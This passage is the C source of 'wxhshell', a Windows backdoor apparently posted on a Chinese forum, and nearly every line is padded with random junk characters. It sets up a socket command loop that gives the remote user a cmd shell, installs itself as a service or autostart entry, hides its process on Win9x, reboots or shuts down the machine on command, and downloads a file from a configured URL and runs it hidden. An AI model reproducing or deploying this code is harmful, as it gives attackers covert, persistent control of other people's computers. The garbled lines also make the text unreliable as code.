CpO!xj +  
    switch(cmd[0]) { uEH&]M>d_  
  5|";L&`  
  // 帮助 MWu67">"  
  case '?': { 4$@)yZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g6+}'MN:5  
    break; 0d~>zKho  
  } 2vT>hC?oHz  
  // 安装 J)6f"{} &  
  case 'i': { B$sB1M0q  
    if(Install()) K)N7Y=C3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +U% = w8b  
    else Av]<[ F/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \2@OS6LUe  
    break; IZoa7S&t  
    } YeK PoW  
  // 卸载 nxw]B"Eg  
  case 'r': { Z25^+)uf*U  
    if(Uninstall()) pS;jrq I#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1 f).J  
    else Q&rpW:^v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `XS6t)!ik  
    break; UJ<eF/KSmG  
    } ~Qeyh^wo  
  // 显示 wxhshell 所在路径 kT t;3Ia  
  case 'p': { Op A  
    char svExeFile[MAX_PATH]; q3#07o_dV  
    strcpy(svExeFile,"\n\r"); kK>PFk(  
      strcat(svExeFile,ExeFile); CQ9B;i`  
        send(wsh,svExeFile,strlen(svExeFile),0); ojni+}>_  
    break; 9;NR   
    } *^ g7kCe(  
  // 重启 T]Pp\6ff  
  case 'b': { ORD@+ {  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); " P c"{w  
    if(Boot(REBOOT)) _0<qS{RW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XOAZ  
    else { .A//Q|ot!  
    closesocket(wsh); <:fjWy  
    ExitThread(0); dnSjXyjFB  
    } Ni7~ Mjjt  
    break; 9K-=2hvv  
    } q4C$-W%rj  
  // 关机 HNu/b)-Rb  
  case 'd': { <p;cR` %uE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [/.o>R#J(  
    if(Boot(SHUTDOWN)) 9X/c%:)\=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uW },I6g  
    else { T1.`*,t)=  
    closesocket(wsh); u|z B\zd  
    ExitThread(0); $fR[zBxA  
    } L&H 4fy!>  
    break; |f# ~#Y2v  
    } CXwDG_e  
  // 获取shell 6lpfk&  
  case 's': { 7g^=   
    CmdShell(wsh); <nOK#;O)  
    closesocket(wsh); ,IX:u1mO  
    ExitThread(0); f$[6]7P  
    break; yS%IE>?  
  } BrcT`MM[(=  
  // 退出 o|F RG{TJ  
  case 'x': { J39,x=8LL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); why;1z>V  
    CloseIt(wsh); :80!-F*\  
    break; GdVq+,Ge  
    } ]-FK6jw  
  // 离开 j?K]0j;  
  case 'q': { tQ=M=BPZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t&MJSFkiA  
    closesocket(wsh); Q5b~5a  
    WSACleanup(); F?TxViL  
    exit(1); q^ lx03   
    break; WB<_AIt+  
        } wyvrNru<l4  
  } M}MXR=X,  
  } O:3LA-vA  
~OO&%\$k  
  // 提示信息  [R:\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {L^b['h@  
} K"B2 SsC  
  } \q(DlqTqs  
H}5zKv.T  
  return; k\rzvo=U  
} /X>Fn9 mM  
Pi7vuOJr8  
// shell模块句柄 pV bgjJI  
int CmdShell(SOCKET sock) ?UuJk  
{ cD5c&+,&I  
STARTUPINFO si; (lBgW z  
ZeroMemory(&si,sizeof(si)); hDTiXc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :d\ne  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7/%{7q3G>  
PROCESS_INFORMATION ProcessInfo; oju)8H1o#  
char cmdline[]="cmd"; qP@d)XRQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^o^[p %  
  return 0; IMjz#|c  
} #Ux*":  
GAG=4 g  
// 自身启动模式 QwPL y O  
int StartFromService(void) .4DX/~F  
{ ~7a(KJgvd"  
typedef struct Wm!lWQu7  
{ RQiGKz5  
  DWORD ExitStatus; ,w&8 &wj  
  DWORD PebBaseAddress; zG)XB*c  
  DWORD AffinityMask; S?_/Po|  
  DWORD BasePriority; *[K\_F?^h  
  ULONG UniqueProcessId; Ct2m l  
  ULONG InheritedFromUniqueProcessId; IO3`/R-  
}   PROCESS_BASIC_INFORMATION; ?\[2Po]n  
#'m&<g,  
PROCNTQSIP NtQueryInformationProcess; } m5AO4:  
v%N/mL+5L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; aD)XxXwozm  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $h"Ht2/ J  
1|/P[!u  
  HANDLE             hProcess; W3K&C[f  
  PROCESS_BASIC_INFORMATION pbi; aBv3vSq> Q  
yM}b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R(_UR)G0 @  
  if(NULL == hInst ) return 0; <Th) &  
{v{qPYNyh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "f/91gIzm'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  }NX9"}/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P5 f p!YF  
?M?S+@(  
  if (!NtQueryInformationProcess) return 0; "A\.`*6  
Q(Q .(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fT9z 4[M  
  if(!hProcess) return 0; uLFnuK  
rz/^_dV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A0Z<1|6r*  
&+F|v(|r  
  CloseHandle(hProcess); . !gkJ  
LS1r}cl  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5cLq6[uO  
if(hProcess==NULL) return 0; mY[s2t  
g+shz{3zvz  
HMODULE hMod; pe(31%(h  
char procName[255]; %g1{nGah  
unsigned long cbNeeded; " p]bsJG  
`R:p-"'b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &.XYI3Ab1  
zdY+?s)p  
  CloseHandle(hProcess); 0a<:.}  
?1%/G<  
if(strstr(procName,"services")) return 1; // 以服务启动 8z,i/:  
:5 XNV6^|  
  return 0; // 注册表启动 v4_p3&aj  
} NR3]MGBKv  
2BTFK"=U  
// 主模块 %{GYTc \'X  
int StartWxhshell(LPSTR lpCmdLine) |M&i#g<A;  
{ g-B~" tp  
  SOCKET wsl; d V+%x"[:  
BOOL val=TRUE; Cm)_xnv  
  int port=0; yL =*yC  
  struct sockaddr_in door; }Ej^M~Vv  
00s&<EM  
  if(wscfg.ws_autoins) Install(); )na 8a!  
7PE3>cD  
port=atoi(lpCmdLine); ) xRm  
hCXSC*;  
if(port<=0) port=wscfg.ws_port; qf7:Q?+.|  
m$glRs @  
  WSADATA data; o)w8 ]H /  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9G)Sjn`AQ  
];@"-H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |a!AgvNF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P_:A%T  
  door.sin_family = AF_INET; l!Bc0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :=J~t@  
  door.sin_port = htons(port); w[g(8 #*  
yO@KjCv"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m~KGB"  
closesocket(wsl); ,SEC~)L  
return 1; G/Ll4 :  
} B+e$S%HV  
R7'a/  
  if(listen(wsl,2) == INVALID_SOCKET) { Vp3r  
closesocket(wsl); |Ld/{&Qr  
return 1; vfb~S~|U6g  
} B(}u:[ b^S  
  Wxhshell(wsl); <hG=0Zcr  
  WSACleanup(); KIt:ytFx  
dQhh,}  
return 0; DK2m(9/`3  
?sF<L/P0 F  
} !@ERAPuk  
;Dl< GW3<  
// 以NT服务方式启动 "T>74bj_|Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K@Z K@++  
{ :]?y,e%xu,  
DWORD   status = 0; RRYm.dMIw  
  DWORD   specificError = 0xfffffff; ~(%TQY5  
'G3;!xk$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :\ %.x3T'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6U{&`8C  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IfyyA  
  serviceStatus.dwWin32ExitCode     = 0; <@;Y.76~  
  serviceStatus.dwServiceSpecificExitCode = 0; Rg/*)SKj  
  serviceStatus.dwCheckPoint       = 0; o_un=ygU  
  serviceStatus.dwWaitHint       = 0; ,`<w#  
1PwqW g-\\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]<3$Sx_{y  
  if (hServiceStatusHandle==0) return; qEd!g,Sx  
uFd.2,XNP  
status = GetLastError(); +qz"+g  
  if (status!=NO_ERROR) FcR(uv<  
{ hY5G=nbO*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $s]c'D)  
    serviceStatus.dwCheckPoint       = 0; 3Q-i%7l  
    serviceStatus.dwWaitHint       = 0; jI`1>>N&1  
    serviceStatus.dwWin32ExitCode     = status; aBV{Xr~#(  
    serviceStatus.dwServiceSpecificExitCode = specificError; caA>; +aBH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WM8 Ce0E  
    return; W'2a1E  
  } t?[|oz:v  
 [Tha j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; GWs[a$|  
  serviceStatus.dwCheckPoint       = 0; x50,4J%J'r  
  serviceStatus.dwWaitHint       = 0; .(!> *ka|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U p1&(  
} q%HT)^F9oO  
&p\fdR4e  
// 处理NT服务事件,比如:启动、停止 zP\n<L5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #lA8yWxr  
{ ~b}@*fq  
switch(fdwControl) 8FY.u{93  
{ XqD/~_z;  
case SERVICE_CONTROL_STOP: }*+?1kv  
  serviceStatus.dwWin32ExitCode = 0; {fsU(Jj\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~WS;)Q0|  
  serviceStatus.dwCheckPoint   = 0; >BC?% |l  
  serviceStatus.dwWaitHint     = 0; oH/6  
  { j(j o8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); + V:P-D  
  } 5l"EQ9  
  return; [qhQj\cK  
case SERVICE_CONTROL_PAUSE: +J`EBoIo  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \ Y[  
  break;  Lb# e  
case SERVICE_CONTROL_CONTINUE: #&+0hS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0>#or$:6E  
  break; 11Kbj`sRZ  
case SERVICE_CONTROL_INTERROGATE: L4th 7#  
  break; - i``yf?P  
}; y( M-   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _I;+p eq  
} L,Jl# S  
& i,on6  
// 标准应用程序主函数 #bX~.jKW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hdB.u^!  
{ a9rn[n1Q  
P.bBu  
// 获取操作系统版本 cnm&o C 6  
OsIsNt=GetOsVer(); ["|' f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #*^vd{fl  
=3rPE"@,[  
  // 从命令行安装 oiP8~  
  if(strpbrk(lpCmdLine,"iI")) Install(); VV/6~jy0  
y~)rZ-eSB  
  // 下载执行文件 qTK\'trgx]  
if(wscfg.ws_downexe) { w_30g6tA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7I~Ww{  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,fS}c pV  
} @WIcH:_w-  
(eS/Q%ZGK  
if(!OsIsNt) { KjR^6v  
// 如果时win9x,隐藏进程并且设置为注册表启动 FYIzMp.4  
HideProc(); v,t&t9}/  
StartWxhshell(lpCmdLine);  SJY<#_b  
} R["2kEF  
else -uZ bVd  
  if(StartFromService()) $~UQKv>  
  // 以服务方式启动 AJ-p|[wPz  
  StartServiceCtrlDispatcher(DispatchTable); +hdD*}qauC  
else 4&r+K`C0  
  // 普通方式启动 0T,Qn{  
  StartWxhshell(lpCmdLine); :>gzWVE<  
dI!x Ai  
return 0; H\A!oB,sw  
}
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只看该作者 1 发表于: 2006-10-10
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